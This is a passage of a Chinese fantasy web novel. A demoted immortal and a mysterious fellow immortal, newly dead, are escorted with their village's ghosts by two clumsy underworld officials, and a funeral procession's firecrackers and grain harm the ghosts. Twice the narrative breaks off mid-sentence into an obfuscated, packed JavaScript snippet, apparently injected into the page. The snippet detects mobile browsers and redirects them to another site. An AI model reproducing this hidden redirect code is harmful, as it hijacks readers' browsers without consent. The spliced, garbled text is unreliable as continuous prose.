埭骰疑神疑鬼的一番操作,让第五茗十分不放心,她凑了上去,在地域名册上瞅了两眼,刚看完自己的信息,就被埭骰反应过来制止了。 第五茗只好作罢,不再继续监督,点点头,对刚才埭骰工作虽笨拙却丝毫无误表示肯定,满意地双手揣起,抬步先行,领着埭骰走向青年鬼,道:“该他了。” 埭骰也没提出疑虑,跟随第五茗走至青年鬼面前,道:“名字?” 青年鬼生前是个傻子,虽然模样还算清秀,但为人时脑子和记性都不太好。 瞧着对方那还没有柔和下来的脸色,以及期间透露的一丝无知,第五茗只当对方是刚死,才恢复了点法力。 担心他为仙时的记忆没有回来,青年鬼会如为人时一般,痴傻呆愣,记不得人间名字,到时候一鬼一无常又因名字再打起来,她便主动帮青年鬼回答道:“酆小洪。” 她特意对埭骰提醒道:“字别核对错了啊,酆都大帝的酆。” 青年鬼和埭骰俱是一怔。 “啪——” 第五茗拍了拍脑门,道:“哎呀,瞧我这记性,小洪,你自己报一遍名字吧,你报出来后,埭骰大哥的名册上才会浮现你的名字。这可马虎不得,万一埭骰大哥核对时,字错了,到土地那里可是帮你办不出路引,你想再继续投胎,恐怕会有一些麻烦。” 被叫酆小洪的青年,没有反驳,眉头虽蹙了蹙,却十分听话地朝埭骰,报名道:“酆小洪。” 他似看出了第五茗的顾虑,心中盘算着什么,侧身小半步,犹豫了许久,才轻声道:“见过上君。” 四个字,即表明了身份,也诉清了目前的神智状态。 第五茗神情一顿,十分尴尬地回应,道:“仙君客气…” 习惯了没话找话,此刻,她第一次发现说话这么难受,道:“哈…哈哈…刚…刚仙君才死,不是…不是,我的意思是,仙君此劫命数,着实…着实需要人照顾…我这人热心惯了,仙…仙君别介意…” 我不是把你当傻子… 也没把你当痴儿… 我知道你肉身死,仙力复,我这不是没法力太久了吗,把这茬忘了,仙君你可别记恨我啊,鬼门关还有这么远呢,第一次和仙君一起走,我不想惹事的! 第五茗觉得自己是因为身为蒲小明对酆小洪的情谊,才会多管这闲事,也是因为刚才回望去的那一眼,看清对方仙姿消失得无影无踪,才会让她自以为是地,去帮一个身附法力的仙君,行口舌上的作答。 酆小洪嘴角微咧,浅笑道:“我知道,上君一贯如此,是好意。” 气氛诡异之际,仔细核对完信息的埭骰,声音如远水救火一般降临,道:“酆小洪,平安村人,因大水后疫疾而亡。” 说完,他便头也不回,继续向下一具尸体,却是被神情难辨的埭桡追了上来,拉住了脚步。 埭桡本来是打算收拾一顿酆小洪,可走近之时,酆小洪和第五茗正在配合埭桡完成登名载册,他站在原地等了片刻,没想到把怒气给等消了。 他转身准备回到来时位置,却看见刚刚扶他起身的一群鬼,正一脸好奇地朝这边打量。 第一次做官,被一群鬼这样盯着看,埭桡总觉得很没面子,心里想着,走都走到这里了,总要做点什么,至少要为刚刚一屁股跌坐在地,找回点什么… 便手脚十分局促地又转回了身,走到埭骰身旁,高声责备道:“叫你勾出来一个,登记一个,再勾下一个,你怎么能一次勾两个呢?刚刚差点就坏事了,以后切莫再这样。” 埭骰一脸委屈,道:“埭桡,我没有…我没有勾他。” 埭骰顺势指了指酆小洪,示意话中说的“他”是何人。 埭桡道:“你确定?肉身锁魂,一起学习的时候上官说过,不勾,是不会出来的,这还是上官特意强调的重点,你绝对勾了,不然他不可能出来…回去之后,我再同风雨江的城隍请示一下,让你回地府一趟,再学习学习。” 埭骰的确学得不精,在埭桡的责备中,怀疑是那两声「肉身已死,速速起来」,把酆小洪和第五茗一起勾了起来,疑惑道:“我勾了?” 埭桡道:“嗯,你勾了。” 只有第五茗知道,她身后的酆小洪是自己挣脱肉身,站起来的。 可历来仙君历劫和凡人轮回无异,只要入轮回,除非飞升归位,凡人所受的约制,他们仙君同样也受。第五茗想不明白,究竟是什么样的仙君,居然能不受魂魄之力,摆脱冥界约束。 正所谓,无知者才无畏,第五茗担心,若是让埭骰埭桡知道酆小洪的异常,让他们与酆小洪争执起来,岂不是这一百九十九只鬼魂,就很难走到鬼门关了… 那她肯定会后悔死,她酒瘾早在睡醒的时候就犯了,现在她可是众鬼中最恨不得立马遁进地府的。 想着想着,本着多一事不如少一事,少一事不如没有事,第五茗也就不想了。 那黑白无常兄弟二人虽天资愚笨,弟弟埭桡却是个手脚麻利的,在第五茗琢磨这事的档口,他已经带着索命钩一段的锁链,快走到第五茗面前了。 见状,第五茗提前配合地伸出了双手,身后却传来一声男子叹息,正是恢复法力的酆小洪。 第五茗侧身,眼眸轻抬,便瞧见了对方脸上的凝重,斟酌了几番,主动开口道:“仙君是第一次历劫?” 话中有话,她想问的是:仙君,你是第一次做鬼? 酆小洪微微摇头,道:“上君,你应当对他们言明身份。” 答非所问后,酆小洪看着越来越近的锁链,精铁碰撞的声音好似太刺耳,让他眉头不由自主地微皱起来。 紧接着,他道:“你神格仍在,如今当职众仙,许多受你点化,虽是下界受惩,但可不用同这些小鬼一般受辱。” 劝她留点仙君体面? 第五茗噗嗤一笑,道:“仙君,你同我还不是一样,即便是刚才那种情形,也并未告知他们身份。” 即是在意这些,为何独独只叫她装模作样。 虚伪!! 看来又是一个来找茬撒气的前任同僚… 酆小洪神情未动,只是将盯向埭桡手中东西的眼睛,转向了她。 被看得有些不自在,第五茗躲避他的目光,也躲避他的提议,道:“仙君…这是公事公办,不算受辱,我一人搞特殊的话,不好不好,若是就这样跟着大家一起走,遇见好相处的小鬼,指不定还可以套套近乎,在路上混一两口酒水。” 酆小洪迟疑片刻,道:“过往也是如此?” 过往? 怎么?!不踩你设下的陷阱,就要打探以前了? 第五茗摇头又点头,含糊道:“差不多吧。” 步子一侧,她转移话题,问道:“仙君定是才飞升的吧…” 酆小洪点头,道:“嗯。” 第五茗低头敛笑,若有所思道:“才飞升,便入六道渡劫,仙君前程大好啊,不过可惜了…雷霆未至,仙君此番画脂镂冰,着实可惜。” 渡劫雷有两处可以获得,一是升阶雷,俗称天劫。 求雷部仙君引出第一道雷霆,便可以去接,渡得过,仙阶飞升,渡不过,轻则法力费,重则神格损,所以一般没能力,没把握的仙君,不会轻易去尝试。 另一处便是入六道轮回,渡千难万劫。 一难或是一劫都可以引出一道雷霆,但这雷霆只能用于洗髓提精。入六道轮回又易生二心,更多时候还守不住本心,对仙君来说,这雷劫不渡也罢,免得最后会得不偿失。 除非犯了错… 不得不下来。 比如像第五茗这种,就是被责罚而下的仙君,因为一开始的目的,便是为了清洗神格,所以引雷霆的方式没得选。 反观酆小洪这种,就不太一样了。他显然是主动入的六道。 肉身死,仙力复,更能说明,他绝对是百分百主动入的轮回。 但…酆小洪的这一世,在第五茗眼中,可不像只历经了一劫一难。那惨状,她都有些看不下去,回顾同酆小洪经历的这一世,简直是多灾多祸。 方才酆小洪肉身死时,没有引来雷霆,而法力却恢复了,神格意识也清明了,让第五茗倒是生出几分好奇。 这不合乎常理… 是以,方才与黑无常之间的答话,她下意识多提点了对方一二。 对于第五茗的试探,酆小洪毫不回避。 定神许久,他缓缓道:“万年前曾飞升至上界,在司命府任职一日,飞升第二日便又下来了,在泰山做了仙府的一名洒扫…” “叮铃哐啷…” 锁链拖至,酆小洪话还没说完便被打断了。 埭桡头也不抬,道:“手。” 抬起一节锁链,他埋头整理,催促静心聆听的第五茗转身,方便他套上。 在第五茗转身时,埭桡等不及了,着急忙慌,一手缠锁链,一手握住无常袖袍的衣襟,像跳大神一样挥舞,毫无感情地复念道:“抬起双手,前路不愁,魂链一绕,去把往生投,听话小鬼,来世路好走。” 话音刚落,铁链绕在了第五茗手腕上。 埭桡顿蹙,继续低着头忙碌,拍了拍铁链,弄出“哐当”刺耳的声音,又僵硬地顺势表扬道:“做的很好…过奈何桥时,孟婆大人一定会给你一碗好汤,再为你选一世好命。” 噗嗤一声,第五茗没忍住,笑了出来。 她道:“都几万年了,你们牵小鬼的话还是一字都没变,哈哈哈哈,你们最大的老大都换了,这哄小鬼的话是不是也该换一换了啊…” 收敛了一份笑意,她直起身,道:“再说了,我记得雨无伤只管熬汤,不管择命,埭桡大哥,你这算不算是欺骗?” “他们这些小鬼被哄一哄,遭了你的道,都去麻烦雨无伤可怎么办?” “那小姑娘,无知无感无情绪,虽然没啥脾性,被忘川河水泡傻了,可是爱有一样学一样,万一逮着她学了一个不好的脾气,就有得小鬼们受了。你这样胡乱说话,可是会害惨他们的。” 埭桡低头整理铁链,耳边的声音比铁链碰撞的声音更令他生厌。 他抽空堵住了耳朵,一心扑在头手中事,喝止道:“怎么这么多话痨鬼…休要吵闹…” 声音戛然而止,紧接着是一道震耳欲聋的鬼叫声:“是你啊!” 埭桡把手上事情停闭,抬起头来才看清,面前正是刚刚闹事的小鬼“蒲小明”。 他死气沉沉的脸,突然谨慎起来,又看向第五茗身后的酆小洪,把刚给第五茗绕上的铁链, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547181|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取了下来,指了指第五茗,又指了指她身后的酆小洪,手上一牵引,两人便顺着他手上的动作被拖走到了一旁。 他道:“你们两人先站到一边去,等会儿锁住了他们,再来锁你们两。烦死了…两个麻烦鬼…” 第五茗摊摊手,对身旁的酆小洪挑眉,道:“看吧,不用自报身份,第一次做无常的小鬼,也不锁我…” 顺着埭桡离去的方向,不自觉地,她望向远处忙着核对名单的埭骰…腰间的葫芦,吞咽了两口,叹息道,“可惜了…” 酆小洪突然又开口,道:“上君,可是想饮酒了?” 第五茗下意识点了点头,道:“嗯…” 其他被勾出来的同乡鬼魂,若是像平日在石料场开采,遇见烈阳高照,怎么也得躲到棚子下,偷懒喝一碗凉水,再交头接耳、叽叽喳喳一番。 现在一个个做了鬼,倒是安静了下来,被晒得焉耷耷地站着,止不住地伸舌舔舐嘴唇。 此刻,随着第五茗的回应,两人突然安静了下来,同乡鬼也渴得安静着,让石料场撞击山壁的风声显得格外清晰,没过一会儿,在埭骰埭桡声音的间隙中,隐隐响起「招来」术法的咒念声。 还是熟稔的男子声音… “不用!” 第五茗转身制止了身边人的举动。 酆小洪收了势,道:“好…” 不追问原因,也不觉得第五茗厉声喝止有何不妥,他反而如无事发生一般,同先前一样,她有问他就答,她有需求,他就询问,没话没事,便安静地待在一旁。 第五茗垂下头,呐呐道:“仙君…不用有求必应,我并未向你许愿。” 酆小洪道:“这不算希求,也称不上祈愿,举手之劳而已。” “也不用…” 第五茗继续道:“仙君不要介意,你曾在司命府任职,应当听说过我的事吧。” 酆小洪道:“我知道。” 是知道,而非听说过,或者了解过。 话中之意,对事情了解的深度更甚。 第五茗不想细究对方话中的深意,直言道:“小鬼的东西虽难得诓骗,来之不易,却让我觉得心安。仙君鬼魂之躯,一点术法,轻而易举,便能隔空取物,又化物为雨。我现在没有这能力,不想受仙君的恩惠,原是我本就不喜欢这样。再说,我与仙君并非同期,亦非好友,过了鬼门关这一道,便会就此两别,我们的情谊也该止于这一世,止于肉身死时。” 她揣测不明白这突如其来的好意究竟是图什么,只能全当做是对方想还做人时的恩情。 早一点划清界限,也是极好。 酆小洪瞳仁震动,身体一僵,道:“上君是怕连累我?” 第五茗神情闪躲,扭头躲避酆小洪的注视和提问,道:“也不全是…” 必须得说一下,这埭骰埭桡两兄弟就是第五茗的救星,每次她沦陷尴尬局面,总是这二人来解救她。 第五茗话刚应半截,那方,埭骰还没走近,隔得老远便招手,大喊道:“蒲小明,酆小洪,你们来这边。” 两人的对话又一次别打断… 第五茗顿时松了一口气,偷看了酆小洪一眼,发现对方没有任何异常,提高声音道:“埭骰大哥,你这真得回去好好学学了,你不过来牵着我两走,我们两还是只幽魂,两三步还好,四五步也能勉强走一走,但这上百步的距离,我们怎么可能走得了这么远…” 顾虑到埭骰的“蠢笨”,她特意补充道:“我们还没办路引,脚生不了根,踩不到地上,你要知道,我们是没办法自己走过去的,你…” 你需要过来牵引一下我们。 声息未落,第五茗面前出现了一只手掌,这只大手,腕上还吊着长袖子撕磨到发毛的布巾,极度滑稽。 酆小洪一脸坦然道:“我带上君过去。” 同时,埭骰好似瞬间忘记了埭桡派给他过来接“酆小洪”和“蒲小明”的任务,在酆小洪伸出手时,他又仿佛受了法术驱使一样,僵硬地转了身,并且无视了第五茗这边发生的事。 什么情况!真够明张胆的!! 冲我来的? 心下迟疑,第五茗不明白“酆小洪”是何心思,又为何要暗地里做法遣走埭骰,正犹豫着,酆小洪的声音又响起,道:“日头正烈,请许我在上君身旁,遮挡炙热。” 对方的手没有收回去,听到这话,第五茗才发现,她的确到目前为止,还没有感觉到被炙烤的疼痛。 和对面那一群被锁链绑住,东躲西藏,争相抢夺阴凉地的鬼魂完全不一样,她和酆小洪还站在烈日下,她却身体轻松到无所畏惧,并全然忘记了现在的她,已肉身死、魂魄出。 一万年下三道折磨过的身躯,除了给她命格簿子招来了克上加克的气运以外,还让她每次离开历劫肉身以后,便和其他鬼魂无异,脆弱不堪,一触即溃。 怕日光,怕热,怕渴,怕阳气… 第五茗自认为,降世以来,还算行的坦荡,言语得体,如今面对酆小洪的体贴却是有点局促。 她接受好意的时候竟然有一丝扭捏,一脸不好意思地伸出一只手,放了上去。 对方的手没有鬼魂的阴冷,也没有烈阳的炙热,温温热热,恰到好处…她不免暗叹:不亏是仙君之体。 她嘴上却别扭地找补,道:“多谢仙君。这两位无常刚上任,做事是慢了些,要是办了路引,这日头也就能忍了。” “蒲小明”不像为人时,因害怕酆小洪走丢,会一直紧紧握住对方的手。 酆小洪也不像为人时,“蒲小明”放上来的手,他会牢牢地回握。 “蒲小明”轻轻地放,一本正经。 酆小洪则轻轻地接,一丝不苟。 终于,两人在到达队伍末端的时候,埭桡的锁链也缠了过来,再一次打破了二人的僵局。 埭桡不嫌麻烦地复念道:“抬起双手,前路不愁,魂链一绕,去把往生投,听话小鬼,来世路好走。” 他认真负责地念了两遍,分别缠上了第五茗和酆小洪的手腕,这才舒缓一口气,开始引魂去土地庙。 4. 双棺会面见祖宗1 临安郡乃是大安国的人间仙境,东南明珠。其辖域有两绝,一是四通八达的风雨江,二是景胜瑶池过水湖。 人界,这万万年来,以【地大物博、锦绣河山、盛世安康、河清海晏、国泰民安,民康物阜】记号。 过水湖是五千年前,大盛国时期,二十二岁宰相携招风雨江两岸百姓,共计二十余万工,一同疏浚水泽上葑田,挖凿出的人工湖。 总计周围三十里,千倾湖光,并东西各一条河道和泥坝,东河旱季排河水,西河雨季引江水,如是,保风雨江风调雨顺,天平地安。 至于风雨江,则是整个大安国的水运命脉,它保障皇室的享用,百官的俸粮和京都兵、民的食粮,且各地每年向京都运送大量的粮食和物资,都是走风雨江运载。 富有南来北往,灯影桨声,河蕴人间千古景,更是神荡心驰,水乡渔火,世称天下第一绝之景。 此处便利,此间美景,人鬼行至此处,免不得赞叹一句:“诚彼娘之独绝!” 然而,此刻的风雨江却了无生气,哀默沉沉。 江水之中,一行两百零一只鬼魂,浩浩荡荡,没有如黑白无常来时一样,穿山而过,而是顺江水而上,准备绕过石料场山脉,再顺水赶往下游的平安村土地庙。 几日放晴,加上熊熊烈日,让水势小了很多,但是,水流依旧很湍急。 行进的队伍,在水里得到了温度上的纾解,却是越走越慢,本来耷耳垂脑的队伍,有鬼耐不住这行程的缓慢,开始窃窃细语… “我们这就算是死了吗?” “早知道那半个馍我应该吃了,如今脚下是一点力气都没有…” 女鬼挽紧手腕上的链子,在袖口摸索了半晌,似要摸出那半个馍来。 她身后的男鬼,奋起劲儿向前,伸出手托起女鬼的胳膊,道:“娟儿~我扶着你,会不会轻松一些?” 娟儿道:“好像没有什么用…” 男鬼手上又使了两份力,牙齿紧咬,像抬石料般,艰难行了两步,追问道:“娟儿,现在呢?脚下可轻松了些?” 娟儿没感觉到男鬼手上的动作,在听见男鬼粗喘的声音时,侧过头,才发现男鬼劳累的面容,十分感动,却垂眼摇头道:“宝子哥,没有用,脚下还是虚软得紧…” 宝子有些难过,诧异道:“怎么会…” 他们两刚成婚,便遇到了风雨江发大水,既没有洞房花烛夜,也没来得及恩爱两相宜,就要共赴黄泉。 娟儿是一个好姑娘,宝子很喜欢,现在一起做了鬼,宝子也还当娟儿是她妻子一样照顾。 没想到他本最引以为傲的力气,却是在此时此刻,帮不上对方半分。 宝子无奈低头,歉疚道:“娟儿…对不起,我不应该让你跟我一起来石料场的,若是你留在村子里,就不会…” “宝子哥,娟儿是…自己想跟来的…” 娟儿因宝子的关心,异常害羞,一副新婚小媳妇模样,面上喜悦,嘴上安慰道:“我能自己走…不累…只是走得慢一些,大家也好像都没什么力气…” 宝子道:“我再试试,一定能让你轻松一点。” 娟儿低头不语,面上羞红,倒是他们前方,队伍里的一位年长鬼,毫无眼力见地劝道:“别费力气了,自己走自己的,这事,以前听路过村子的道长说过,鬼魂就是看着轻,身子那是重得很。” “鬼差大人也是鬼,为什么鬼差大人们能走得那么轻松呢?” 稚嫩的声音,一听就知道是个不懂人情世故的小孩鬼,他好奇地把看见的一幕都问了出来,嘴却立即被身后的大人捂住了。 小孩鬼脚下却没有因身后人的动作有所缓滞,小小的一步,身形稳稳的,如刚才年长鬼所说,重得搬不动。 村里没有人了,小孩鬼父母迫不得已,来石料场时也把他带了过来,没想到却遇上了疫疾,一家人整整齐齐地丧命于此。 “嘘!不要多嘴,不要议论鬼差大人…小轩,你忘了阿爹怎么教你的吗?活着,要听官大人的话,现在死了,也得听官大人的话。” 小轩睁着大大的眼睛,点了点头,他阿爹才松开了手,他又稀奇地问道:“阿爹,鬼差大人也是官大人吗?” 小轩阿爹道:“嗯,他也是官大人。” 小轩道:“官大人会给我们发馍吗?” 小轩阿爹道:“会的…所以你要好好听话,闭紧嘴,官大人才不会找你麻烦,还对你好。” 小轩道:“阿爹,我听话的话,鬼差大人是不是就不会像刚刚在石料场打傻子和倒霉蛋那样,拿他的大棒子和大钩子打我了?” “嘘!可长长心吧!!” 刚才劝解娟儿和宝子的年长鬼出声制止,看见小轩阿爹的手又盖上了小轩的嘴才,继续道:“石料场那一幕你们是眼瞎了吗?酆小洪和鬼差打起来,鬼差可是没讨到半点好…那路过村子的道长曾说过,我们村金光闪耀,有仙人投胎降世,我猜啊…这傻…酆小洪,指不定就是道长嘴里的仙人降世。” “仙人投胎? “命也这么不好?” “做神仙的难道没得选吗?” 一名妇人质疑道:“那道人该不是一个假道士吧…” … 队伍前后,听见年长鬼话的村民,不自觉地回忆起当年的过村道长,以及先前石料场发生的事情,情不自禁,跟着年长鬼的话题,相互低声闲聊上。 年长鬼同出声污蔑道长的妇女,争辩道:“你个乡野村妇,道长的话,活着的时候你是油盐不进,现在死了还要污蔑道长!你也不瞧瞧,到如今哪一样不是一一应验。他说我们全村是同生共死的命,我们村现下不都在去地府的路上吗?当心你的话害得我们不能继续投胎做人,村里人都找上你,你可管好你的烂嘴…” 妇人毫不示弱,扯着嗓门嚎叫,反驳道:“若不是你们这群人当初被假道士哄骗,非得听他话,留下蒲小明和酆小洪,指不定我们村还不会这么倒霉!” 在平安村,她和年长鬼门对门,却不是邻和里睦,她瞧不惯年长鬼的人精样,年长鬼瞧不起她寡妇独居,尖酸抠搜。 年长鬼道:“懒得和你说,愚蠢不堪…” 妇人道:“我还不想和你争,莫名其妙,人都死了,在这里跟我说什么仙人降世。” 一男鬼帮喝道:“我们村的确没什么好运,仙人不仙人的,和我们好像也没半点关系,又不会对我们好…好歹,活着的时候,我们好歹还有官大人可怜,给馍给银,现在死了,水都没得喝,渴死了…” “他就是神仙,还不照样是傻子。” “要不是蒲小明那倒霉蛋非得养着,他指不定早死了,成短命鬼了。” “你别说,哈哈哈,那道士要真的有两把刷子,怎么看,也该是蒲小明看着更像是仙人。我早瞧着蒲小明像山里出来的邪仙…孤儿一个,酆家两口子收留她后,不仅怀中的胎儿,从福胎变成了一个痴儿,两口子还死在山里,听说连个全尸都没有,多瘆人啊。” 现在,因年长鬼和妇女鬼拌嘴,让村民起了兴致,竟都走马观灯,议论起酆小洪的家事。 “你这么说也是,这倒霉蛋,自从来了以后,酆家的确没过上一天好日子…” “要我说,就是蒲小明害了酆家两口子…” “以前酆家两口子多有福气啊,就他们家打猎最厉害,总能捡到好东西,自从他两去了以后,我们家荤腥都少了一半。” … 队伍中声音越来越大,从两三个交头接耳,到人声鼎沸,越来越热闹,一发不可收拾… 不知不觉竟生出几分怨气,黑灰的烟气从鬼魂中飘起。 造成如今这番局面,要怪就怪,埭骰埭桡在平安村绕了太久,到石料场之后,又和第五茗争执,耽搁了些时辰,错过清晨凉爽,让这群鬼在经历脱离肉身之累时,又因没有土地庙办的路引,魂体平白无故受晴日天气影响,水泽束缚,怨气平白无故在争论中生出了两分。 埭桡在前方引路,专心致志,一路下来竟未回头一次。 埭骰又学艺不精,听他们聊得火热,还事不关己地主动走到酆小洪身旁,并排而行,好奇道:“喂,酆小洪…你身前真是个痴儿?” 酆小洪没搭理他,步伐悠然,不紧不慢,跟在第五茗身后。 要不说埭骰没心智呢… 这一群鬼话里那么多重点,他居然抓出一个最有伤大雅、无关痛痒的问题。 埭骰见酆小洪一脸冷漠,也不觉对方姿态无礼,反而尴尬地向前走到第五茗身旁,找补道:“喂,蒲小明…你身前真是个倒霉蛋?” 第一次,第五茗不想在回地府的路上,搭理引渡的鬼差。 她白了埭骰一眼,揶揄道:“埭骰大哥,你这两个问题,当真问得巧妙…” 抬手指了指自己,才继续道:“你觉得我看着像是个倒霉蛋吗?” 见埭骰挑眉凝视,还毫不迟疑的点了点头,第五茗僵硬地把手放了下来,揣在袖口边,摇摇头叹息道:“你猜对了。” 埭骰好似没看见第五茗无奈摇头,我行我素继续追问道:“他生前也真是个痴儿?” 当第五茗没来得及反刺一句“你脑子真没问题吧!”便听见埭骰同她一样,也叹息了一声。 埭骰道:“你们两的命怎么这么惨,上天对你们太不公平了…” 居然不是好奇… 是可怜我两身世? 这一句话,埭骰的情绪过于悯然,惊得第五茗心中一漏,不得不看向身旁埭骰的脸庞,来确定对方此刻的神情。 这时,酆小洪的声音在两人身后响起,评语道:“身愚心清,还不算太差。” 埭骰没听清,转身回问道:“你说什么?” 然而酆小洪并不打算搭理埭骰,依旧如先前一般,沉默不语,面上毫无波澜。 他模样一副并未说话的冷漠,让埭骰有一种幻听的错觉。 埭骰也不纠结,悻悻然,回过身,专心走水路。 倒是第五茗回过神来,抬手擦眼,苦笑赞同道:“好一个身愚心清,先前是我狭隘了。” 埭骰被两人没头没脑的话,弄得一阵懵,又靠近第五茗身边,道:“你两说什么呢?不是痴儿和倒霉蛋吗?怎么还文绉绉的…差点让我以为自己耳朵出问题了…” 这下,换得不到答案的埭骰,给他二人扔了一个白眼。 第五茗道:“埭骰大哥,我们这是夸你呢。” 埭骰道:“我乃鬼差白无常,你们两个不过是刚死的小鬼,何须你们来夸赞我。” 埭骰面上端正着,心里却是喜滋滋。 第五茗道:“都说做鬼嘴甜,黄泉一路才走不偏。埭骰大哥要是不喜欢听这些话,那我们不说了…” 那厢,第五茗话音还没落下,埭骰便忙道:“哎哎哎,我没说不喜欢,只是…只是…” 第五茗接话道:“只是你面子薄。” “对,我是有点面子薄。” 埭骰点点头,嘴角笑容难掩,道,“不过…我也许你偶尔夸夸我两兄弟…” 第五茗笑道:“是,我一定夸的毫不漏痕迹。” 前方队伍中,针对第五茗究竟是不是「邪仙」吵得越来越凶。 争执的双方,一边是以前处处针对第五茗和酆小洪的村民,他们说着说着,便把平安村一百九十九口人,此次石料场丧命的事,全怪罪在了第五茗头上。 另一边是以挑起话题的年长鬼为首,他们因为相信当年过村道士的话,坚定地认为第五茗和酆小洪之中一定有一人是仙,平安村能在风雨江大水之际幸存下来,也是受仙人福泽庇佑。 队伍行进虽没有被耽误,埭骰的思绪却被前方队伍中争执的问题吸引,没空搭理身旁第五茗的马屁话,看着前方队伍,摇摇头,吐槽道:“蠢,实在蠢…比我还蠢,没一个聪明的。” 呃… 埭骰的声音实在不小,第五茗第一反应,以为是在嘲讽她,白眼直翻:你蠢得比他们还浮夸,这夸赞你的话,我都快编不出来。 还没来得及了解清楚埭骰为何突然如此,她便听见对方自言自语,道:“果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547182|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 均是没见过世面的无知小鬼。世上就没有邪仙,若说是仙君,哪有仙君会给自己选这种命数的。想我兄弟二人上任时,天界文曲星君过奈何桥,那阵仗多壮观…连上官都说了,仙君历来在人界最会享受,是万万不会过苦日子,像文曲星君这般福泽极高的仙君下界,天界还要安排天君、星君…一生相护,哪里会有仙君自己下去过苦日子的,愚蠢至极!” 第五茗听到此处,沉吟道:“天权星君又被人帝求下去了?” 她心中却嘀咕道:算算时间,和上次下去的时间未免挨得太紧了吧,这人帝是不是也太贪心了… 让她没想到的是,搭她这话的是身后的酆小洪。 后面人向前靠近了两分,似不想一旁鬼差听见,小声道:“嗯,风雨江水灾,人界损失惨重,天界未提前示警,作为补偿,派了天权星君下界。” 第五茗猛然转身,站住脚步,诧异道:“你怎么知道!” 你不是也刚死吗? 奇怪了,肉身凡胎时,你明明就在我身侧… 没等第五茗把话说出口,埭骰不合时宜地打断道:“你们两很熟吗?怎么老是嘀嘀咕咕…” “哎哟”,“哎,怎么回事儿…”,“啊”… “宝子哥~”“娟儿,小心!” “小轩!”“呜呜呜…阿爹…” 一片哀怨声在第五茗和埭骰身后响起。 两人回身,才看见水里摔倒一片的鬼魂,和队伍前方,刚捡起索命钩,气冲冲走来的埭桡,道:“怎么回事?酆小洪!蒲小明!你们两又在干什么!!” 看了眼水中的鬼魂,第五茗心中了然,能拉得倒一片鬼魂的还能有谁,自然只有她身后这位恢复了法力的仙君。 第五茗回身,果然看见原本属于牵制她的那一段链锁被握在了酆小洪的一只手里,绷得紧紧的。 酆小洪眼中没有丝毫歉意,眼眸星碎,倒是一闪而过了些许紧张和担忧。 紧张?担忧?? 第五茗眉头微蹙,因为她清楚的看见…此刻,酆小洪的眼中全是她的身影。 这仙君果然是冲她来的! 她下意识抬手,准备质问酆小洪。 随着她抬手时,被锁链掣肘的局促,身体有向后微微倾倒之势… “叮”! 第五茗脑海中,倏地反应过来,现下这一幕,应该都是因为她刚刚突然停住了步伐… 若不是身后的群鬼被铁链拽倒,那倒下的便会是她。 她的鬼魂之身,怎么比的过,队伍里的百鬼之重。 倘使停顿下来一瞬,身后的百鬼继续前进,她便会被拖拽,而刚才她身子又转了一圈,方向相反,如此下来,势必会拽下她两只胳膊。 第五茗心下赧然… 酆小洪此举是在护她。 而因为护她一人,拉倒了千钧百鬼。 正准备道歉,她眼前却突然一黑,被酆小洪半揽进怀中,对方低沉道:“得罪了,上君。” 好事没有,坏事一大堆… 第五茗刚被拥进酆小洪怀里,紧接着众人耳边就响起了一大阵子“噼里啪啦”声,震耳欲聋,声音刚断,又响起一串小小的“噼里啪啦”声,偶尔还紧跟一两声雄鸡打鸣。 风雨江面上,随着“噼里啪啦声和鸣叫音”,慢慢被浓烟掩盖。 硝火味充斥鬼魂鼻翼,第五茗双眉紧蹙,身体紧绷,不安地询问道:“遇上出棺送葬了?” 酆小洪道:“嗯…” 所谓出棺送葬,就是字面意思,棺材抬出屋,送入地下埋葬。 但这出棺送葬却有六宝,叫阴鬼喜爱,让幽魂忌惮。 一宝,雄鸡坐棺;二宝,全木尸棺,三宝,七两七钱;四宝,开路鞭炮,五宝,买路纸钱和福谷福米。 其中一宝和四宝,雄鸡鸣叫声与开路鞭炮,都是用来提前驱赶幽魂,开辟阴路。 五宝中的福谷可以退避不愿离开的幽魂,作为补偿,路上洒下的买路钱和福米,允许幽魂们在送葬事毕后随意拾取。 突然,又是一阵细雨落下的声音,队伍中叫喊声此起彼伏。 不少谷粒正簌簌砸入风雨江中… 从前至后,越撒越密集,导致空荡荡的江面上,群鬼们避无可避。 埭骰被福谷砸得龇牙咧嘴,在队伍里疼得直叫唤,道:“哎哟~疼死了,疼死了…” 他掀起遇险时下意识盖在面上的冥钱黄纸,漏出眼睛,在硝烟中搜索道:“埭桡…埭桡…怎么办?我把冥钱黄纸贴脸上了,怎么没有用…” 埭桡也好不到哪里去,急促答道:“我也不知道…上官大人就提过一嘴,他说不重要,我也记入心里。” 闻言,第五茗见耳边声音不绝,沉沉呼出一口气,责备道:“真得好好学学啊,不然光有德心也没用。” 两无常鬼差都这么狼狈,更何况江面上那一群刚死的鬼魂,他们被抛洒在送葬队伍两边的趋避谷粒,击打回水里,歪七扭八地蜷缩着,嘴里只能无力地哭喊着。 眼下光责备两无常也无济于事,手上动作一过,她腕间血出,瞬间烧出金辉,鬼身霎时变轻,身姿灵活地从酆小洪怀里退了出来,歉意道:“多谢仙君好意,只是这些人同乡一场,死后再受此折磨,的确是苦了些。” 酆小洪怀中空落,神色忧虑,眼睛看向第五茗腕间熟悉的光辉,克制地唤道:“上君…” 